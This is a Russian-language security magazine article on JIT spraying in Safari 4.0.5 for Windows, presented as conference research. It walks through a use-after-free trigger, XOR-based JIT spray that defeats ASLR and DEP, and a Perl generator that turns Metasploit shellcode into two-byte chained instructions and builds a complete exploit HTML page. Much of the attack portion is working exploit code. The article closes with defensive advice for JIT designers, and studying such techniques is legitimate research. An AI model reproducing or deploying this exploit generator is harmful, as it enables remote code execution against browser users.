Рабочий эксплойт за 6 секунд

И вновь на страницах нашего журнала тема JIT SPRAY. В этот раз мы не будем использовать Flash-плеер и ActionScript, а рассмотрим возможности браузера Safari и его JIT-движка для JavaScript. Покажем, как в течение 6 секунд можно обойти DEP и ASLR в Windows 7 и проэксплуатировать уязвимость в самом браузере или его плагине.

 

Если не надоело...

Итак, почему же мы вновь вернулись к этой теме? Дело в том, что при подготовке к прошедшей в прошлом месяце конференции «Hack In The Box» в Амстердаме и ускорении времени работы JIT SPRAY (с 8 минут до 6 секунд) с помощью модифицированного EGG-HUNTER шеллкода (про этот вид шеллкода можно было прочитать в статье Алексея Тюрина) в контексте компилятора JIT выяснилось, что в новом релизе Flashплеера версии 10.1 изменилась модель компилятора, и JIT SPRAY больше не работает. За три недели до начала конференции мне надо было что-то показать коллегам, чтобы не ехать в страну мельниц и тюльпанов совсем уж с баяном, отсюда и этот материал, но начнем по порядку...

 

Зачем?

Очень большая часть темного бизнеса держится на уязвимостях в браузерах и плагинах к нему. Но с ростом популярности Windows 7 возникает проблема грамотной эксплуатации уязвимостей, так как защитные механизмы DEP (предотвращает выполнение кода из неисполняемой области памяти) и ASLR (делает адреса модулей и библиотек случайными) делают классические методы вроде HEAP SPRAY неэффективными.

Тем не менее, исследователи показывают слабости в этих механизмах, дабы разработчики не расслаблялись и знали, что этого недостаточно. Благодаря работе Диониса, показавшего JIT SPRAY в Flash-плеере до того, как это сделали черные шляпы, Adobe смогла исправить код JITкомпилятора и тем самым снизила уровень угрозы для своих пользователей. Так что же такое JIT?

 

JUST-IN-TIME

Just-In-Time компилятор преобразует код, написанный на языке высокого уровня, в машинный код, и сохраняет этот код в оперативной памяти, чтобы приложение смогло исполнить его, так сказать, на лету. Алгоритмы JITкомпилятора могут быть разными, и разные JIT-компиляторы работают поразному (прости за тавтологию :). Дионис Блазакис в своей работе нашел, что компилятор для ActionScript (скриптовый язык для Flash-приложений) сохраняет значения в памяти как есть. Мне же удалось обнаружить аналогичную ситуацию в компиляторе JavaScript в браузере Safari для Windows.

Напишем простейший код на JavaScript, выполняющий операцию XOR:

<SCRIPT>
function jit_() {
var y=( 0x11111111^
0x22222222^
0x33333333^
0x44444444^
0x55555555^
0x66666666^
0x77777777^
0x88888888);
return y;
}
</SCRIPT>

Чтобы высчитать значение Y, движок JavaScript в браузере должен посчитать XOR, поэтому в памяти процесса создается страница, и туда заносится скомпилированный JIT-код, которому, в свою очередь, передается управление при вызове функции jit_():
. . .
04450432 81F033333333 XOR EAX, 33333333
04450438 894708 MOV [EDI+8], EAX
0445043B 8B4708 MOV EAX, [EDI+8]
0445043E 8B570C MOV EDX, [EDI+C]
04450441 83FAFF CMP EDX, -1
04450444 0F8529010000 JNZ 04450573
0445044A 81F044444444 XOR EAX, 44444444

. . .

Данный код в памяти появляется сразу после вызова jit_(). Первая колонка — адрес, вторая — машинные коды, третья — код на ассемблере (все значения в HEX’ах). Как видно, аргументы оператора XOR передаются в память как есть, сама память помечена как доступная для чтения, записи и исполнения — RWX (в Flash было только RX). Но главное разочарование — аргументы в памяти находятся далеко друг от друга, на расстоянии 20 байт. В Flash-плеере же разница в один байт. Итак, как это можно использовать для обхода DEP и ASLR? Для начала выберем уязвимость, на которой будем проводить опыты.

 

Уязвимость

Повторное использование освобожденной памяти в Safari 4.0.5. Эту уязвимость я уже описывал в одном из прошлых обзорах, суть ее проста — удаляем родительский объект, при этом сохраняя указатель на него, потом вызываем метод, используя сохраненный указатель. В итоге берется значение из поврежденной памяти (которая освободилась). При этом значение указателя из таблицы vtable оказывается переписанным аргументом метода. Так мы захватываем контроль, а именно — регистр EIP:

var a = parent; // Указатель на родительский элемент
var buf = make_buf(unescape('%u0101%u0101'), 63000);
a.prompt(alert);
// заполняем память значением 0x01010101
a.prompt(buf);
a.close(); // удаляем родительский объект
// указатель на функцию promt() теперь = 0x01010101
a.prompt(alert);

 

JIT SPRAY

Ну вот, мы имеем уязвимость и можем передавать управление по любому адресу. Обычно управление передают туда, где лежит шеллкод. Для этого раньше память заполняли большими блоками в памяти (в куче) с шеллкодом. Если таких кусков очень много, то угадать адрес было легко. Только вот с появлением DEP все это бесполезно, так как шеллкод из кучи не будет исполняться. Методика обратно-ориентированного программирования также неприменима, потому что все модули поддерживают ASLR, и адреса нужных инструкций нам неизвестны. Для таких безвыходных ситуаций применим возможности JIT-компилятора, которые мы описали выше.

Если написать несколько сотен функций jit_() и выполнить их, то память процесса заполнится блоками памяти с JIT-кодом. Память эта исполняема, но как угадать ее адрес? Если XOR-строка будет достаточно большой, память для каждого JIT-блока будет выделяться по адресу с предсказуемыми младшими разрядами в адресе — 0x0000. Это значит, что по адресу 0xXXYY0000 будет начинаться скомпилированный JIT-блок с нашими аргументами. Если таких блоков будет достаточно много, то 0xXXYY мы можем легко угадать, как в аналогии с Heap Spray. Но почему же не работает ASLR?

Почему 0xXXYY не такие случайные? На самом деле ASLR работает, но только когда Safari пытается выделить первый блок для самой первой jit_() функции. Все последующие выделения памяти идут последовательно друг за другом. Это позволяет нам заполнить с вероятностью 99% середину памяти процесса, скажем, адреса 0x0606000, 0x07070000 и т.д. (см. рисунок). Если каждый JIT-блок будет размером меньше чем 0x010000, тогда память будет расти равномерно, то есть, к примеру, адрес блока N есть 0x06060000, тогда адрес блока N+1 будет 0x06070000 и т.д. Осталось только определить младшие разряды адреса, чтобы указывать в аккурат на наш аргумент. Тут тоже все просто, так как смещение от начала блока до начала кода с XOR всегда постоянное. Дабы избежать нулевых байт в адресе ищем первый аргумент, в младших разрядах адреса не будет нулевых байтов, и первый такой адрес оказался 0x0104 со значением десятого аргумента для XOR. В итоге окончательный указатель будет 0xXXYY0104, где XXYY могут быть любым значением из центральной части карты памяти, например 0x0607 или 0x0808 и т.д. Таким образом, ASLR побежден.

 

Инъекция кода

Допустим, мы передали управление по адресу 0x07070104, там у нас значение 10-го аргумента из XOR-строки. Предположим, десятый параметр для XOR равен 0x01020304, а одиннадцатый — 0x1a1b1c1d, тогда по адресу 0x07070104 будет следующий код:
. . .
07070104 0403 ADD AL, 3 ; 10-е значение
07070106 0201 ADD AL, [ECX] ; вторая часть
-- вырезано 12 байт –
0707011A 81F01D1C1B1A XOR EAX, 1A1B1C1D ; 11 значение
с XOR
. . .

Так как у нас LITTLE-ENDIAN система, то процессор берет значения «задом наперед», и вместо 0x0304 мы можем написать любые команды в оп-кодах. А вот 0x0201 мы должны заменить строго на 14EB (EB14 = JMP +0x14), чтобы передать управление на одиннадцатый параметр. Когда мы говорили про Flash, было легче, так как там параметры шли один за другим, тут же у нас разрыв в 20 (0x14) байт, поэтому последние два байта надо «тратить» на переход между параметрами. К примеру, десятый и одиннадцатый параметр:

..^0x14EB9090^0x14EBCC90^..

Будут скомпилированы в:
. . .
07070104 90 NOP
07070105 90 NOP
07070106 EB14 JMP 0707011C
-- вырезано 14 байт –
0707011C 90 NOP
0707011D CC INT3
0707011E EB14 JMP …
. . .

У нас получилась связь между параметрами и выполнение кода, сначала пустые операторы, а затем прерывание. Итак, DEP мы тоже обошли...

 

JIT-шеллкод

Теперь нам надо написать связанный шеллкод, который мы будем внедрять в память с помощью XOR в JavaScript. Дело кажется очень трудным, так как у нас есть всего два байта на команду. В Flash мы могли использовать и трех- и пятибайтные команды, но тут у нас жесткое ограничение. Кажется, что дело — труба, но вспомним еще одно важное отличие между JIT SPRAY в Flash и Safari — права на память.

В Flash они были «R-X» (чтение и исполнение), а вот в Safari — «RWX», то есть мы можем еще и писать в память. Никогда не оставляй исполняемую память доступной на запись, ибо этот, казалось бы, маленький недочет делает возможным внедрение шеллкода. Поясню: мы заполнили память RWXблоками и, допустим, передали управление на JIT-блок 07070000. Там у нас будет связанный шеллкод с командами по два байта.

Двух байт вполне достаточно для операции копирования — MOV [ECX], EAX (0x8901 в оп-кодах). Если ECX будет указывать на следующую страницу — 0x07080000, а в EAX будут содержаться первые четыре байта от шеллкода из метасплойта, то произойдет копирование шеллкода в RWX-память (W позволит нам делать это). Когда таким образом мы скопируем весь метасплойт-шеллкод кусками по четыре байта через регистр EAX, по адресу 0x0708000 будет лежать боевой шеллкод, причем в исполняемой памяти. Далее делаем JMP ECX (0xFFE1 — также два байта) на эту память, и код оттуда исполнится без лишних вопросов.

 

Два байта боли

Мы умеем копировать и передавать управление с помощью регистров. Двух байт для этого достаточно, но прежде всего надо научиться с помощью этих двух байт заносить произвольные значения в регистры. MOV REG, VALUE занимает 5 байт. С помощью двух байт мы можем заносить значения только в младшие разряды регистра. Для этого будем использовать MOV AL, 01 (0xB001) и MOV AH, 02 (0xB402), так мы занесли в младшие разряды EAX 0x0201, и регистр в общем содержит 0xXXYY0201. Как же можно занести значение в старшие разряды? Первое, что мне пришло в голову — это побитовый сдвиг влево — SHL EAX, 1 (0xD1E0). Если мы хотим занести в регистр ECX-адрес блока, куда хотим копировать шеллкод, то заносим сначала в младшие регистры значение старших, потом делаем шестнадцать операций сдвига влево... и в итоге значения младших разрядов сдвигаются на место старших.

Потом заносим еще раз уже значения младших разрядов. План хорош, да оказалось, что не очень — дело в том, что шеллкод получается очень большой, и из-за этого долго компилируется JIT-компилятором, но это не главное. Хуже всего то, что размер блока с компилированным кодом становится больше 0x10000 байт, а это значит, что блоки идут друг от друга с двойным разрывом: адрес блока N есть 0x06060000, тогда адрес блока N+1 будет 0x06080000 (а должно быть 0x06070000). Таким образом, работоспособность JIT SPRAY зависит от четности третьего разряда. Короче говоря, стабильность работы — 50%. Очевидно, что проблема в шестнадцати операциях сдвига на каждые четыре байта копируемого шеллкода. Надо искать другой путь. Можно, например, заменить все сдвиги на одну операцию умножения. То есть 0x0000ABCD*0x10000=0xABCD0000.

Значит, можно написать JIT-шеллкод, который заносит произвольные значения в регистры ECX и EAX, а потом копирует по адресу ECX значение EAX. Затем добавляем к ECX четыре байта и заносим в EAX следующую часть метасплойтовского шеллкода.

 

Автоматизация

Теперь пора написать генератор шеллкода, который согласно вышеупомянутому алгоритму будет генерить JIT-шеллкод. Начнем труд! В метасплойте генерируем шеллкод в формате Perl. Я выбрал запуск калькулятора, без всяких кодировок шеллкода. Нам это ни к чему, во-первых, потому что JIT-шеллкод и так неслабо перекодирует оригинальный шеллкод — ни один антивирус не узнает.

Во-вторых, размер кода меньше. Итак, есть шеллкод в формате Perl, который мы запихнем в переменную $shellcode. Зададим старшие байты страницы, куда будем копировать этот шеллкод. Я выбрал 0x080A0000. Так как младшие байты нас не интересуют, задаю только старшие:

#Address with RWX - place for shellcode
$addr="\x08\x0A"; #0x080A0000

Поскольку весь шеллкод копируем по четыре байта, необходимо выровнять его, для этого считаем размер шеллкода и делим с остатком на 4. Если остаток 1, 2 или 3, то добавляем к концу шеллкода мусора:

$len=length($shellcode);
$add=$len % 4;
for($i=0;$i<$add;$i++)
{
$shellcode.="\xCC";
}

Забудем на время про шеллкод, необходима подготовка; как мы помним, для того, чтобы 0xXXYY0104 указывал на начало кода, необходимо, чтобы JIT-код начинался с десятого аргумента. Поэтому прежде всего забьем первые девять аргументов:

$offsetJit="\"0x22222222^\"+/* START OF OFFSET */\n".
--------ЕЩЕ 7 таких строчек ----------"\"0x22222222^\"+ /*SHELLCODE BEGINS*/\n";

Как видишь, я задаю XOR в виде строки для JavaScript, поэтому добавляю зафильтрованные кавычки и символ +, что есть конкатенация для строк в JavaScript. Потом я просто выполняю eval() для этой строки, и JavaScript поймет, что эту строку следует скомпилировать. После сдвига до десятого параметра необходимо начать подготовку к копированию. Для начала надо иметь в регистре ESI множитель 0x10000 для того, чтобы потом можно было быстро переносить значения из младших разрядов в старшие:

$initJit="\"0x14EBC031^\"+//XOR EAX,EAX\n".
"\"0x14EB01B4^\"+\n".
"\"0x14EB00B0^\"+\n".
"\"0x14EBE0F7^\"+// EAX=0x100*0x100\n".
"\"0x14EBF08B^\"+// MOV ESI, EAX ;ESI=00010000 - MUL factor\n".

Параметр идет задом наперед, чтобы потом правильно интерпретироваться процессором. То есть, аргумент для XOR 0x14EBC031 и есть наш десятый параметр. При перехвате контроля мы перепишем EIP 0x07070104, что будет указывать прямо на 0x31C0EB14. 0x31С0 — это «XOR EAX, EAX». Так мы обнулим регистр, а следующая команда — 0xEB14 — сделает JMP +14 байт на следующий параметр — 0x14EB01B4. Читая задом наперед, получаем «MOV AH, 01 / JMP 14». То есть, в регистр AH заносится единица, а далее — прыжок на следующий параметр, там уже обнуляется AL. Таким образом, EAX=00000100. Тринадцатый параметр делает «MUL EAX», то есть 0x100 умножает на 0x100 и в EAX заносится результат — 0x00010000.

Далее опять прыжок, и в четырнадцатом параметре происходит копирование EAX в ESI. Теперь в ESI у нас требуемый множитель. Далее необходимо, чтобы ECX указывал на память, куда мы копируем шеллкод. Он у нас в переменной $addr.

sprintf("\"0x14EB%02lxB4^\"+\n",ord
substr($addr,0,1)).
sprintf("\"0x14EB%02lxB0^\"+\n",ord
substr($addr,1,1)).

Этот код генерирует пятнадцатый и шестнадцатый параметр, занося первый и второй разряд $addr в регистры AH и AL. Выходит, что EAX = 0001080A. Единица в третьем разряде осталась после предыдущих операций, но она нам не мешает. Теперь переносим значения из младших разрядов EAX в старшие и копируем значение в ECX:

"\"0x14EBE6F7^\"+ // MUL ESI; EAX - RWX memory for shellcode\n".
"\"0x14EBC88B^\"+ // mov ecx, eax ; ECX - pointer on RWE mem\n".

Понятно, что значение 0xEB14 всегда будет в наших параметрах, чтобы передать управление следующим. Теперь у нас в ECX адрес 080A0000, осталось занести в EBX шаг копирования — четыре байта:
"\"0x14EBDB33^\"+ // xor ebx, ebx\n".
"\"0x14EB04B3^\"+ // mov bl, 4 ; EBX = 0x4 - step \n";

На этом подготовка завершена. В ECX — указатель на страницу памяти, куда будем копировать шеллкод, в ESI — множитель, в EBX — шаг сдвига. Начнем копировать шеллкод. Сначала скопируем байты задом наперед.

#Convert shellcode into JIT code
for($i=0; $i<length($shellcode); $i+=4)
{
my $val="";
$byte1=substr($shellcode,($i+3),1);
$byte2=substr($shellcode,($i+2),1);
$byte3=substr($shellcode,($i+1),1);
$byte4=substr($shellcode,($i),1);

Так вот, мы копируем байты в переменные $byteX. Потом можно удобно заносить их в EAX:

$val.="\"0x14EBC031^\"+ //XOR EAX,EAX\n";
$val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte1);
$val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte2);
$val.= "\"0x14EBE6F7^\"+ //MUL ESI\n";
$val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte3);
$val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte4);

Сначала обнуляем EAX, потом копируем $byte1 в AH, а $byte2 в AL. После чего делаем MUL ESI, другими словами, EAX=EAX*ESI. В ESI у нас множитель, который сделает так, что $byte1 и $byte2 окажутся на месте старших разрядов регистра EAX. После этого заносим в младшие разряды EAX (регистры AH и AL) $byte3 и $byte4. После этого мы имеем в регистре EAX четыре байта из шеллкода. Выполняем копирование в исполняемую память:

$val.="\"0x14EB0189^\"+ // mov [ecx], eax ;\n”.
"\"0x14EBCB03^\"+ // add ecx, ebx\n”;
$copyJit.=$val;

По указателю ECX (0x080A0000) копируем первые четыре байта шеллкода. Затем увеличиваем ECX на EBX, то есть на четыре. Так как у нас цикл по всей длине шеллкода, разбитой на 4 байта, то на второй итерации в EAX будут уже следующие четыре байта шеллкода, а ECX уже увеличен размер шага, и будет увеличиваться в конце каждого цикла. Все это (в переменной $copyJit) обеспечит нам копирование шеллкода в память по адресу 0x080A0000 (из переменной $addr). После акции копирования надо передать управление:

$jumJit="\"0x14EB00B5^\"+ // mov ch, 00\n".
"\"0x14EB00B1^\"+ // mov cl, 00 ;\n".
"\"0x14EBE1FF^\"+ // JMP ECX ; PROFIT! \n";

Просто обнуляем младшие разряды ECX (CH и CL), в итоге ECX у нас опять равен 0x080A0000, и делаем JMP ECX, после чего должен исполняться код по адресу ECX, а там, как известно, шеллкод из метасплойта. Соберем же весь конструктор, для этого в переменную $page запишем начало генерируемой HTML-странички с эксплойтом:

$page="
<script>
function make_buf(payload, len) {
while(payload.length < (len * 4))
payload += payload;
payload = payload.substring(0, len);
return payload;
}
function fff()
{
var a = parent;
var buf = make_buf(unescape('%u0104%u0707'),
68000);
a.prompt(alert);
a.prompt(buf);
a.close();
a.prompt(alert);
}

Не забудем добавить JavaScript-переменные для наших сгенерированных строк:
var SPRAY=\"\";
var JIT=\"{ \"+
\"var y=(\"”;

Напомню, что при заносе в переменную кавычки экранируем. В общем, мы объявили переменную SPRAY и JIT. В JIT мы занесли открытие блока и переменную Y. Далее сделаем конкатенацию переменной $page и нашего сгенерированного JIT-кода: $offsetJi t.$initJit.$copyJit.$jumJit. Таким вот образом мы как бы занесли в переменную Y для JavaScript весь JIT-шеллкод, который заранее генерировали в Perl’е. Собственно, закрываем переменную и блок в переменной $endPage:

$endPage="\"0x14ebcccc\"+
\");\"+
\"return y; }\";

В конце блока мы еще добавили «return y;», так как этот блок являет ся кодом функции. Нам нужно много функций, чтобы обеспечить заполнение памяти и обойти ASLR, поэтому генерируем множество функций с таким кодом и вызываем их:

var zl=\"zlo_\";
for (var i=1;i<800;i++)
{
SPRAY+=\"function \"+zl+i+\"()\"+JIT+\"
\"+zl+i+\"();\";
}

JavaScript сгенерирует код в переменной SPRAY с телом 800 функций zlo_X() и вызовом. Вместо X будет порядковый номер функции. Но все это скрыто от глаз, так как строка генерируется и исполняется на лету... Кстати, для исполнения нужно добавить вызов eval():

eval(SPRAY);
fff();
</script>

После eval(), которая заполонит память нашими страницами с кодом, вызываем fff() — эта функция эксплуатирует описанную в начале статьи уязвимость, переписывая регистр EIP значением 0x007070104, что передаст управление нашему коду, который скопирует метасплойтовский шеллкод по адресу 0x080A0000 и передаст уже ему управление. Время работы эксплойта с JIT SPRAY — от 6 до 10 секунд.

 

Выводы

Очевидно, что разработка JIT-компилятора должна учитывать многие нюансы. Следует не только избегать ошибок, приводящих к перехвату управления, но и делать код таким, чтобы он не сводил функционал защиты ОС к нулю. Выполнение простых правил вроде «не оставлять память доступной для записи и исполнения и не заносить значения пользователя в исполняемую память» сделали бы невозможным использование JIT SPRAY. Так что безопасность — это не только «безопасное программирование», но и безопасная архитектура. Отмечу, что компания VUPEN через неделю после доклада о JIT SPRAY в браузере Safari выпустила 0day-эксплойты для своих клиентов с использованием этой методики. Кроме того, я не имею возможности проверить JIT-движок Safari в Mac OS или iPhone/iPad, но если там архитектура аналогичная, то значит, что эти платформы в наибольшей опасности, так как браузер по обыкновению используется именно на них.

Check Also

Неинновационные инновации. Откуда растут корни технологий Apple

Тройная камера, умный режим HDR, «ночной режим» Night Shift, True Tone, Liquid Retina Disp…

Оставить мнение